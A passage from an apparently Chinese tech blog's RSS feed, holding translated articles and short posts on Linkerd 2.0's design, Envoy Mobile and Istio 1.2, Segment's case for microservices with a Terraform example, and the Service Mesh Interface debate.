&lt;h3 id=&#34;目标-1-节省资源&#34;&gt;目标 1：节省资源&lt;/h3&gt;

&lt;p&gt;Linkerd 1.x 中，控制平面和数据平面都是同一个平台的产物。然而这两个组件的需求是很不一样的。数据平面会伴随每个服务的每个实例一同部署，处理进出该服务的所有流量，因此必须又快又小。另外它还必须安全：Linkerd 的用户相信它能够用于处理敏感信息，符合 PCI 和 HIPAA 的合规性要求。&lt;/p&gt;

&lt;p&gt;而控制平面是单独部署的，并不存在于请求的处理路径之中，对速度和资源的需求较低。它更看重对扩展和迭代的支持。&lt;/p&gt;

&lt;p&gt;很明显 Go 是控制平面的理想实现平台。Go 具有运行时支持，以及类似 JVM 的垃圾回收机制，这一平台为现代网络服务而进行了优化，其运行成本大大低于 JVM。相对于 JVM，Go 语言的静态二进制、内存占用和启动时间都是很吸引人的。我们的性能测试结果中，Go 比本地编译的语言稍慢，但是对于控制平面来说就足够快了。最后，Go 的生态系统让我们获得了很多关于 Kubernetes 的相关功能支持，另外我们认为这个语言的低门槛和流行度也都有助于开源社区的贡献。&lt;/p&gt;

&lt;p&gt;我们考虑过用 Go 和 C++ 开发数据平面，然而 Rust 注定是最符合我们需求的选择。Rust 专注于安全，尤其是它强大的 Borrow checker，在编译时强制执行安全内存实践，避免了一整类内存相关的安全漏洞，这就使他比 C++ 更有吸引力。它能够被编译为本地代码，并有细粒度的内存管理能力，这使 Rust 比 Go 具有更好的性能和内存控制能力。Rust 兼具丰富功能和表现力的语言特性，对我们的 Scala 程序员很有吸引力，零成本抽象模型声明让我们在不牺牲安全性或性能的情况下提高了表达能力。&lt;/p&gt;

&lt;p&gt;Rust 的最大问题是（2017 年）：它的生态系统比其它语言来说相对落后。我们知道选择 Rust，就意味着要在网络方面进行深耕。&lt;/p&gt;

&lt;h3 id=&#34;目标-2-开箱即用&#34;&gt;目标 2：开箱即用&lt;/h3&gt;

&lt;p&gt;解决了底层平台的决策问题之后，我们就要着手解决下一个设计目标了：开箱即用。对于 Kubernetes 应用，向既有应用中加入 Linkerd 不应破坏原有功能，也不应该依赖复杂的配置。&lt;/p&gt;

&lt;p&gt;为了满足这个需要，我们做了很多设计抉择。我们给 Linkerd 的代理加入了协议检测的能力：它能够代理 TCP 流量，与此同时还能自动检测其中的 7 层协议。在 Pod 创建时用 Iptables 设置流量劫持，业务代码中的任何 TCP 连接都会被透明的经过本地的 Linkerd 代理，如果这些连接中使用的是 HTTP、HTTP/2 或者 gRPC，Linkerd 会自动的使用 L7 的方式进行干预——例如报告成功率、重试幂等请求、在请求级进行负载均衡等。这些目标都可以在无需用户配置的情况下完成。&lt;/p&gt;

&lt;p&gt;我们还努力提供尽可能多的缺省功能。Linkerd 1.x 中提供了丰富的代理级指标，把聚合和报告留给用户去做。在 Linkerd 2.0 中，我们将 Prometheus 作为控制平面的成员，这样我们就可以在 Grafana 中提供开箱可用的聚合指标视图了。我们使用这套指标构建了一套 UNIX 风格的命令，让运维人员可以在命令行中观察运行中的服务。结合协议检测功能，平台运维人员可以从 Linkerd 获得丰富的服务级的指标，无需进行配置。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1linkerd-v2-production-adoption-1-1554327726494.jpg&#34; alt=&#34;Fig 1&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;进出应用的 TCP 连接都被路由到 Linkerd 的数据平面（Linkerd-proxy），Linkerd 数据平面让这些流量可以被控制平面进行观测和管理。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;目标-3-简单易用&#34;&gt;目标 3：简单易用&lt;/h3&gt;

&lt;p&gt;这是最重要的目标，简单和易用在某种程度上是矛盾的（感谢 &lt;a href=&#34;https://www.infoq.com/presentations/Simple-Made-Easy/&#34; target=&#34;_blank&#34;&gt;Rich Hickey 的 《Simple Made Easy》&lt;/a&gt;，让我们茅塞顿开）。我们意识到，Linkerd 是一款面向运维的产品，也就是说，这并不是一个云厂商代你运维的服务网格产品，我们希望你会自己运行自己的 Linkerd。这样的话，减小 Linkerd 的运维面积是一个重点。幸运的是，几年来帮助用户采纳 Linkerd 1.x 的经验，给我们很大帮助：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Linkerd 不应藏在幕后或过于神奇。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linkerd 的内部状态应该是可观察的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linkerd 的组件应该具备良好的定义、充分解耦并具备清晰的边界。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为了这个目标，我们在服务中做了很多的设计决策。我们放弃了把控制平面集成到单一进程中的尝试，而是使用其自然形态进行了边界拆分：一个提供 Web 界面的 Web 服务；一个 Proxy API 服务来和数据平面进行通信等。我们在 Linkerd 的仪表盘上向用户直接公开了这些组件，我们还设计了符合 Kubernetes 生态系统中惯用的仪表盘和命令行客户端的界面：&lt;code&gt;linkerd install&lt;/code&gt; 命令会输出一个 Kubernetes 清单文件，使用 &lt;code&gt;kubectl apply&lt;/code&gt; 提交之后就能进行安装，Linkerd 仪表盘的观感和 Kubernetes 仪表盘类似。&lt;/p&gt;

&lt;p&gt;我们还用加入约束的方式来避免复杂性。我们在 Kubernetes 核心名词，例如 Deployment 和 Pod 的基础上进行工作，尽量少定义自己的名词。我们尽可能的使用 Kubernetes 的自有功能，例如 Secret 和 Admission Controller。我们限制对 CRD 的使用，因为我们深知，CRD 也是重要的复杂性的来源。&lt;/p&gt;

&lt;p&gt;最后，我们加入了扩展检测，让运维人员能够观测到 Linkerd 的内部状态并进行校验。我们把控制平面也加入了网格，这样运维人员就可以使用 Linkerd 丰富的遥测数据来观测和了解 Linkerd 的内部状态了。我们还加入了 &lt;code&gt;linkerd endpoints&lt;/code&gt; 命令，用于导出 Linkerd 的内部服务发现信息，以及用于验证 Kubernetes 集群和 Linkerd 设置的 &lt;code&gt;linkerd check&lt;/code&gt; 命令。&lt;/p&gt;

&lt;p&gt;简而言之，我们尽了最大的努力，希望 Linkerd 能够清晰可见，而非简陋或奇幻。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1linkerd-v2-production-adoption-2-1554327725994.jpg&#34; alt=&#34;Fig 2&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;今天的-linkerd-2-0&#34;&gt;今天的 Linkerd 2.0&lt;/h2&gt;

&lt;p&gt;在经过了接近一年的内部投入之后，在 2018 年 9 月，我们启动了 Linkerd 2.0。虽然有着基本相同的价值主张，但是我们对易用性、可运维以及降低资源用量的关注，催生了一个和 1.x 看截然不同的产品。六个月后，我们已经得到了回报，许多无法采用 1.x 的用户已经开始采用 2.x。&lt;/p&gt;

&lt;p&gt;目前 Linkerd 的用户和贡献者社区正在蓬勃发展，未来一片光明。2.x 分支有 50 多个贡献者，每周都能规律的完成发布，还有积极友好的 Slack 频道可以进行沟通。我们为我们的努力深感自豪，并期待为我们的用户继续解决实际问题，同时也会继续坚持我们的设计理念。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Envoy 和 Istio 的 6.18</title>
      <link>/post/envoy-and-istio-on-6-18/</link>
      <pubDate>Wed, 19 Jun 2019 18:24:32 +0800</pubDate>
      <guid>/post/envoy-and-istio-on-6-18/</guid>
      <description>

&lt;p&gt;地球对面的时间比我们这里晚一点，我们的 618 已经开始返场了，他们还在 618。&lt;/p&gt;

&lt;p&gt;服务网格方面，在这一天有了两个发布：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://eng.lyft.com/announcing-envoy-mobile-5c2067d9ade0&#34; target=&#34;_blank&#34;&gt;Envoy 发布了移动版&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/about/notes/1.2/&#34; target=&#34;_blank&#34;&gt;Istio 发布了 1.2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;envoy-mobile&#34;&gt;Envoy Mobile&lt;/h2&gt;

&lt;p&gt;Envoy Mobile 是一个库，目的是可以直接将 Envoy 的功能封装到移动应用之中，&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;跨平台的底层网络支持：HTTP/2、QUIC、gRPC、推送、流、重试和超时策略等底层网络技术的实现以及跨平台都是需要付出大量努力来完成的事情，Evnoy Mobile 试图在客户端以一致的跨平台的方式提供这所有功能。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;xDS 支持：Envoy 的最深套路就是 xDS 了，Envoy 一旦潜入移动应用，就可以通过 xDS 的方式，在服务端对客户端的网络行为作出控制。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;API 的高级支持：用注解方式为 API 提供缓存、优先级等支持&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这个项目还非常早期，但是我觉得非常有意思，强悍的 Envoy 用这种方式为移动应用提供了一个可控的网络抽象的能力，目前已经提供了 Java、Swift、OC 等支持，这会不会成为一种新的边缘能力？&lt;/p&gt;

&lt;h2 id=&#34;istio-1-2&#34;&gt;Istio 1.2&lt;/h2&gt;

&lt;p&gt;补丁版本，没啥好说。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;https://docs.google.com/document/d/1N0ZFJktK8m01uqqgfDRVB9mpC1iEn9dqkQaa_yMn_kE/edit#&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;https://istio.io/about/notes/1.2/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;https://eng.lyft.com/announcing-envoy-mobile-5c2067d9ade0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>为什么微服务适合我们</title>
      <link>/post/segment-why-microservices/</link>
      <pubDate>Tue, 11 Jun 2019 21:59:30 +0800</pubDate>
      <guid>/post/segment-why-microservices/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;最近的爆款文&lt;a href=&#34;https://www.infoq.cn/article/v3VjP*BYtY3qhD3438ay&#34; target=&#34;_blank&#34;&gt;《Segment 放弃了微服务》&lt;/a&gt;流传很广，让我想到了 2015 年底，Segment 的一篇关于微服务的文章。似乎目前没有中译文，因此翻译出来，便于对照。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://segment.com/blog/why-microservices/&#34; target=&#34;_blank&#34;&gt;Why Microservices Work For Us&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://segment.com/blog/authors/calvin-french-owen&#34; target=&#34;_blank&#34;&gt;Calvin French-Owen&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在 Segment，我们全心拥护微服务理念，但个中原因，可能并不是读者所以为的那样。&lt;/p&gt;

&lt;p&gt;微服务和单体的争论已经够多了，我不想再次复盘。微服务的拥趸们说，微服务有更好的伸缩能力，是清晰软件工程师团队责任的的最佳方式。然而单体应用的拥护者则认为，微服务的运维太复杂，难于启动。&lt;/p&gt;

&lt;p&gt;但是微服务的主流益处和今天我们要讨论的好处不太相关，我们要讨论的是：&lt;strong&gt;可观察&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;当周二凌晨 3 点钟收到传呼的时候，如果看到特定的工作单元出了问题，而无需在单体应用的每个函数调用中加入追踪，那这个过程就轻松百倍了。&lt;/p&gt;

&lt;p&gt;并不是说紧耦合代码中无法实现良好的可观察性——只是极少有案例能够从第一天开始就具备完善的可观察性支持。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;可观察性从何而来？稍作思考，就能列出 &lt;code&gt;htop&lt;/code&gt;、&lt;code&gt;sysdig&lt;/code&gt;、&lt;code&gt;iftop&lt;/code&gt;、&lt;code&gt;ps&lt;/code&gt; 等运维工具。&lt;/p&gt;

&lt;p&gt;但是这些&lt;strong&gt;都不是&lt;/strong&gt;用来监控单一程序的执行情况的：热门执行路径、堆栈尺寸等。过去 20 年中，我们打磨出来的工具都是围绕主机、进程或设备进行的。&lt;/p&gt;

&lt;p&gt;在分布式系统中，我们可以在我们的监控指标中加入请求和网络吞吐，但是多数工具还是会尝试聚合到主机或者服务的级别。&lt;/p&gt;

&lt;p&gt;单体应用中，以进程为中心的监控工具很难感知到一个程序的耗时情况。在单体应用中，我们最好的调试方式，要么是用 Profiler 运行程序，或者实现自己的计时指标。&lt;/p&gt;

&lt;p&gt;还有更头痛的事情，正因为我们没有能够在函数级别完成监控，才成全了火焰图，令其成为流行工具。&lt;/p&gt;

&lt;p&gt;所以在 Segment，我们不再尝试往单体应用中塞进大量功能，而是在微服务方向花大力气。我们打赌，容器调度和编排会变得更简单也更强大，而多数指标和监控会持续以主机和服务为中心。&lt;/p&gt;

&lt;p&gt;这里做个提醒，微服务仅在容易创建新服务的情况下才奏效。否则我们只是把可观察性问题替换成了交付问题了。&lt;/p&gt;

&lt;p&gt;在另外一篇文章中，我们讲了一下我们&lt;a href=&#34;https://segment.com/blog/rebuilding-our-infrastructure/&#34; target=&#34;_blank&#34;&gt;服务的大体情况&lt;/a&gt;，以及我们&lt;a href=&#34;https://segment.com/blog/automating-our-infrastructure/&#34; target=&#34;_blank&#34;&gt;是如何使用 Terraform 的&lt;/a&gt;。如今我们开始把每个服务拆为模块，所以我们可以在预备和生产环境中复用同样的配置了。&lt;/p&gt;

&lt;p&gt;这里有个认证服务的例子，使用 &lt;a href=&#34;https://terraform.io/&#34; target=&#34;_blank&#34;&gt;Terraform&lt;/a&gt; 来进行资源分配：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plain&#34;&gt;/**
 * Task definition.
 */

module &amp;quot;task&amp;quot; {
  source = &amp;quot;../task&amp;quot; # sets up an ECS task

  name = &amp;quot;auth&amp;quot;
  port = 5027
  image = &amp;quot;segment/auth
  image_version = &amp;quot;latest&amp;quot;
}

/**
 * Service implementation.
 */

module &amp;quot;service&amp;quot; {
  source = &amp;quot;../service&amp;quot; # sets up our shared service resources

  # Module variables
  task = &amp;quot;${module.task.arn}&amp;quot;
  name = &amp;quot;${module.task.name}&amp;quot;
  port = &amp;quot;${module.task.port}&amp;quot;

  # Input variables
  iam_role = &amp;quot;${var.iam_role}&amp;quot;
  zone_id = &amp;quot;${var.zone_id}&amp;quot;
  elb_subnets = &amp;quot;${var.elb_subnets}&amp;quot;
  elb_security_group = &amp;quot;${var.elb_security_group}&amp;quot;
  cluster = &amp;quot;${var.cluster}&amp;quot;
  desired_count = &amp;quot;${var.desired_count}&amp;quot;
  environment = &amp;quot;${var.environment}&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果感到好奇，可以看看&lt;a href=&#34;https://gist.github.com/calvinfo/0647044900d2b3a51163&#34; target=&#34;_blank&#34;&gt;完整的模块定义的例子&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;这里有着显而易见的好处（监控指标）和很低的成本（少量的 Terraform 脚本），因此我们就不再需要将不同的功能挤到一个现存服务之中了。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;目前为止，这套方法很有用。&lt;/p&gt;

&lt;p&gt;Segment 有点不同寻常：并非微服务们协调工作，我们有大量称为 &lt;code&gt;microworker&lt;/code&gt; 的单元。基本上这是同样的概念，不过 Worker 不为客户请求提供服务，而是从队列中读取数据，进行处理之后，然后给消息做一个 ACK。&lt;/p&gt;

&lt;p&gt;Worker 没有依赖，因此它比服务简单很多。没有耦合，因此不用担心一个 Worker 中的问题会影响到系统中的其它成员。&lt;/p&gt;

&lt;p&gt;实际工作中，有很多因素迫使我们做出了 microworker 的决定。其中最大的因素是我们的团队规模以及我们要尝试构建的产品的规模。&lt;/p&gt;

&lt;p&gt;微服务经常的宣传就是，当团队规模变大时，太多人在编写同一套代码。这种情况下，以团队为单位分配代码库的权限是个自然的举措。但是我们认为，对小团队来说，微服务也一样有好处。&lt;/p&gt;

&lt;p&gt;很多和我交流的人都吃惊于我们团队的规模之小，列几个数字来证明一下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;400 个私有仓库&lt;/li&gt;
&lt;li&gt;70 个不同的服务（Worker）&lt;/li&gt;
&lt;li&gt;10 个工程师&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们的产品规模和团队规模形成了鲜明的对比。所以如果我接到告警，告警可能是我编写的代码导致的，这段代码我半年前开发出来之后就再没朋友。&lt;/p&gt;

&lt;p&gt;如此情况下，小型的、定义清晰的服务就很有吸引力了。&lt;/p&gt;

&lt;p&gt;下面是一个典型场景：因为队列深度导致的告警。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/asset_iFAdhfpj.png&#34; alt=&#34;Alert&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们可以在队列的监控中检查一下是否是这个原因。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/asset_PmudaMWa.png&#34; alt=&#34;queue&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们可以清楚的知道是哪个 Worker 出了问题（因为每个 Worker 都会订阅单独的队列），也知道去哪里看日志。每个服务日志都有自己的标签，所以我们无需担忧同一应用中不同请求生成不相关的日志造成的干扰。&lt;/p&gt;

&lt;p&gt;我们可以在 Datadog 的独立的 Dashboard 上查看这个 Worker 的 CPU、内存，以及 ELB 报告的延迟。一旦我们识别了问题，只要阅读 50-100 行文件就可以获知问题的确切位置（例如内存泄漏）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/asset_3NazRMBR.png&#34; alt=&#34;datadog&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在单体应用中，我们也可以为每个端点加入特定的监控。然而如果每个端点都运行在各自的进程中，我们完全可以自由的进行修改，无需担心影响其它部分。&lt;/p&gt;

&lt;p&gt;还没有提到的是，微服务让我们有了隔离 CPU、内存和延时（如果是 ELB 代理的服务）的能力。同样是查找一处内存泄漏，在有上百个端点的单体应用的代码中查找，和在一个 Worker 的百多行代码中进行查找，其难度是不可同日而语的。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;我理解，这种方式不会适用于所有场合。为了在创建新服务时能够获得所有支持，需要很大的投入。这种投入会受到团队、工作负载以及产品形态等多种因素的影响，可能不那么理想。&lt;/p&gt;

&lt;p&gt;但是对任何产品来说，一旦其运行过程存在复杂的运维和负载，我会选择微服务架构。这种架构让基础设施有弹性、可伸缩，并易于监控，无需牺牲开发人员的生产力。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SMI：推动服务网格社区举步前行</title>
      <link>/post/moving-the-service-mesh-community-forward/</link>
      <pubDate>Tue, 11 Jun 2019 07:48:13 +0800</pubDate>
      <guid>/post/moving-the-service-mesh-community-forward/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.christianposta.com/servicemesh/moving-the-service-mesh-community-forward/&#34; target=&#34;_blank&#34;&gt;Moving the Service-mesh Community Forward&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/christianposta&#34; target=&#34;_blank&#34;&gt;Christian Posta&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在运行一个服务式架构的应用时，往往会面临服务间通信的挑战，服务网格技术正是为此而生。Kubernetes 和容器技术对工作负载的在大量服务器上的部署和进行提供了一个漂亮的抽象，服务网格做的也是类似的工作：他对网络进行抽象，让运维和开发人员能够通过请求路由、可观察性以及策略实施等方式对其进行控制。服务网格带来了各种可能。&lt;/p&gt;

&lt;p&gt;唯一的问题是，就算 Kubernetes 提供了有力的 API 来对底层基础设施进行抽象，从而进行工作负载的调度，可惜的是这其中没有一点能够落地的 API 能够提供服务网格所需要的能力。&lt;/p&gt;

&lt;p&gt;KubeCon EU 2019 上发布的&lt;a href=&#34;https://cloudblogs.microsoft.com/opensource/2019/05/21/service-mesh-interface-smi-release/&#34; target=&#34;_blank&#34;&gt;服务网格接口（SMI）&lt;/a&gt;正试图填补这一空白。在此声明：我为 Solo.io 工作，它是 SMI 的创建者之一，并是一个&lt;a href=&#34;https://medium.com/solo-io/https-medium-com-solo-io-supergloo-ff2aae1fb96f&#34; target=&#34;_blank&#34;&gt;原有统一服务网格产品&lt;/a&gt;的主导者。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/deislabs/smi-spec&#34; target=&#34;_blank&#34;&gt;SMI 规范&lt;/a&gt;还很稚嫩，目前正在尝试对运行在 Kubernetes 基础之上的服务网格所需的 API 和能力进行统一（这种尝试也有助于为 Kubernetes 之外运行的统一服务网格奠定一个基础）。&lt;/p&gt;

&lt;p&gt;这一举措对服务网格社区来说，带来不少直接利益：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务网格的实现可能很复杂；将独立于实现的 API 暴露出来，让系统整体更易理解。&lt;/li&gt;
&lt;li&gt;这一社区充满变化，专注于能力，并通过标准接口来使用服务网格，降低了对特定实现的依赖；对最终用户来说，这是一个很好的启动方式。&lt;/li&gt;
&lt;li&gt;服务网格提供了一组强大的功能用来定义和处理规则（对网络进行编程）；需要有些东西来对这些能力进行编排。不管是厂商提供还是自行实现，将网络编程为特定的实现，这会将你绑定到这一实现，某种程度上也让你的实现变得更加复杂。&lt;/li&gt;
&lt;li&gt;在底层（像服务网格这样）为稳定性奠定基础，给未来的创新打开了新的可能，也给整个生态带来了新的机会。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;最小公分母&#34;&gt;最小公分母&lt;/h2&gt;

&lt;p&gt;社区里有些家伙对这类方法的可行性表示怀疑，反对的声音至关重要。例如我非常尊重的 Tim Hockin，他提到 SMI 方法有可能成为一种&lt;a href=&#34;https://twitter.com/chanwit/status/1137265809988890624&#34; target=&#34;_blank&#34;&gt;最小公分母，对谁都没好处&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;服务网格的能力范围还在扩张之中（目前不同的服务网格实现会有不同的特性），但是 Istio、Linkerd、Consul、App Mesh 等产品在某种程度上还是殊途同归的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;流量路由功能（路由权重、在七层上提供请求级匹配等）满足了金丝雀发布等功能需求。这项能力的诉求是减小变更的影响范围

&lt;ul&gt;
&lt;li&gt;目前版本的 Istio 和 App Mesh 都已经提供这一功能，Consule 和 Consul 也会很快跟进。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;顶端指标收集，例如延迟分布、吞吐量、出错率等

&lt;ul&gt;
&lt;li&gt;Istio、App Mesh 和 Linkerd 都提供这一能力，Consul 会在近期提供易于配置的（指标收集）功能。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;基于服务身份的策略功能

&lt;ul&gt;
&lt;li&gt;Istio 和 Consol 已有这部分功能，Linkerd 和 App Mesh 会在近期加入。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;语义差别不大&#34;&gt;语义差别不大&lt;/h3&gt;

&lt;p&gt;目前 Istio 的各种特性最为成熟，但是有很多其他的实现也正在跟进。事实上各种实现都很相似，关键的差异是易用性、用户体验、管理能力、集成能力等。而关键的问题：“服务网格应该有什么功能？”，各家的答案差别不大。如果 Istio、Linkerd、Consul、App Mesh 以及其它有兴趣在这一方向发展的厂商和社区能够提供支持，把这些差别不大的功能，做成一套 API 并不会难于登天。&lt;/p&gt;

&lt;h3 id=&#34;无处不在的-envoy-proxy&#34;&gt;无处不在的 Envoy proxy&lt;/h3&gt;

&lt;p&gt;服务网格的讨论中，还有一个很重要的情况就是通用数据平面的同化趋势。4 个著名的服务网格产品中，有 3 个使用的是 Envoy，并且还有其他服务网格供应商看起来也准备在 Envoy 的基础之上构建产品。我发现每个实现的控制面可能有些不同，但是内部的网络 API 都是继承自 Envoy，在同一个数据平面之下，一个跨服务网格的通用抽象也不算是不可思议。正如 Tim 所说，最大的麻烦来自于实现上的分歧。在这种情况下，其实这些产品并非天差地别。即使是控制平面本身，其实现也没有那么大的区别。&lt;/p&gt;

&lt;h3 id=&#34;基于已有实现&#34;&gt;基于已有实现&lt;/h3&gt;

&lt;p&gt;最后，SMI 来自于现存的服务网格产品。它不是凭空想象，也没有财团驱动，更不是由没有经验的团队造出的空中楼阁。恰恰相反，这一社区目前的贡献来自于真实存在的、在生产环境中部署的服务网格实现。从各个发起者的经验来说，做出一套脚踏实地的 API 并不会耸人听闻。&lt;/p&gt;

&lt;h2 id=&#34;厂商主导的-smi&#34;&gt;厂商主导的 SMI&lt;/h2&gt;

&lt;p&gt;另外来自 Zack Butcher 的意见也很醒目：SMI 由卖东西的厂商领导，调性不好。他特别提出：&lt;/p&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;Here&amp;#39;s the next sniff test: who&amp;#39;s backing the project? Are they users of service meshes trying to drive a standard, or are they vendors (trying to sell me something)? What are their motives, and do they align with giving me, a user, a more usable mesh? 7 &lt;a href=&#34;https://t.co/Fch2IfFVCM&#34;&gt;pic.twitter.com/Fch2IfFVCM&lt;/a&gt;&lt;/p&gt;&amp;mdash; Zack Butcher (@ZackButcher) &lt;a href=&#34;https://twitter.com/ZackButcher/status/1137718684829437952?ref_src=twsrc%5Etfw&#34;&gt;June 9, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;



&lt;blockquote&gt;
&lt;p&gt;他们的动机是什么？是给我——一个用户，一个更可用的服务网格？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;SMI 规范的发起者之一，Brendan Burns 有个有趣的回应：&lt;/p&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;The current state of the art in service mesh where you have to lock yourself into an implementation is bad.&lt;br&gt;&lt;br&gt;Further, no one can build shared tools for all service meshes which is worse.&lt;br&gt;&lt;br&gt;And no one can build Helm charts that include service mesh apis w/o chosing an impl.&lt;/p&gt;&amp;mdash; brendandburns (@brendandburns) &lt;a href=&#34;https://twitter.com/brendandburns/status/1137478260382547968?ref_src=twsrc%5Etfw&#34;&gt;June 8, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;



&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从目前服务网格的情况看来，把自己锁定在单一实现上是不好的。更进一步，没有人能够为所有服务网格构建共享工具。除非选择一个实现，否则没有人能构建一个包含服务网格 API 的 Helm Chart。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;我所在的 Solo.io，我们乐于看到单一的服务网格界面的出现，这是因为我们始终尝试为客户解决：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不确定选择哪个网格&lt;/li&gt;
&lt;li&gt;想要在网格之上构建产品，但是希望在这一动荡的领域中保护投入&lt;/li&gt;
&lt;li&gt;希望服务网格的管理能有更好的用户体验&lt;/li&gt;
&lt;li&gt;希望将南北流量和东西向的网格进行集成&lt;/li&gt;
&lt;li&gt;希望得到厂商的帮助，但是&amp;hellip;&lt;/li&gt;
&lt;li&gt;无法确信任何网格厂商的动机&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们的客户和潜在和客户对于 SMI 的聚合是持肯定态度的，这一新生事物能够帮助他们应对上述这些问题。&lt;/p&gt;

&lt;p&gt;另外企业们发现，在满足其最终需求的情况下，存在竞争的多个公益炕上是很有价值的。正如我熟悉的 Java 和 Java EE 一样。标准化的 API 让企业能够参与并在这些讨论中获益。&lt;/p&gt;

&lt;h2 id=&#34;胜者为王&#34;&gt;胜者为王&lt;/h2&gt;

&lt;p&gt;关于 SMI，最后一个要探讨的想法是：类似容器编排战争的结果，单一厂商或者单一网格产品会成为唯一的赢家。如果预期是这种结局，又希望现在就用上服务网格，SMI 就成为一种有效的防御措施，防止踏入错误阵营无法回头。&lt;/p&gt;

&lt;p&gt;在我看来，真实情况是我们会面对多网格产品并存的情况，我们需要以某种方式进行统一（能力层次、集成方式或者管理方式，或者几个方法的结合）。&lt;/p&gt;

&lt;p&gt;例如我们的客户中的真实用例，他们在自有部署中使用 Istio 提供开发支持，但是其他团队使用的是 AWS，也使用了 AWS 的 App Mesh。他们有切实的需求，想要在这些网格的基础之上进行抽象并构建工具。如果出现了一个社区领导的抽象，他们就会使用并从中获得价值（至少是不用自己做了）。&lt;/p&gt;

&lt;h2 id=&#34;推动服务网格社区举步前行&#34;&gt;推动服务网格社区举步前行&lt;/h2&gt;

&lt;p&gt;目前来说，社区中的健康争论是必要的，以此可以发现问题、机遇和目标，从而帮助我们进一步的探索，为最终用户和平台构建者提供服务网格的强大功能。服务网格展现了有力的应用网络能力，但今时今日，终点还遥遥无期。&lt;/p&gt;

&lt;p&gt;类比容器和编排系统，Kubernetes 让容器变无聊了，服务网格最终也会让应用网络变得无聊。服务网格在加高堆栈的同时，会给用户、社区以及相关厂商带来价值。如果服务网格生态系统进入了寡头局面，这也很棒，我们会面向单一 API 来构建系统；如若不然（我认为这更有可能），我们最好一同努力，摒弃实现差异，努力找出服务网格应该提供的重要功能。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Kubeval</title>
      <link>/post/intro-kubeval/</link>
      <pubDate>Mon, 10 Jun 2019 11:46:24 +0800</pubDate>
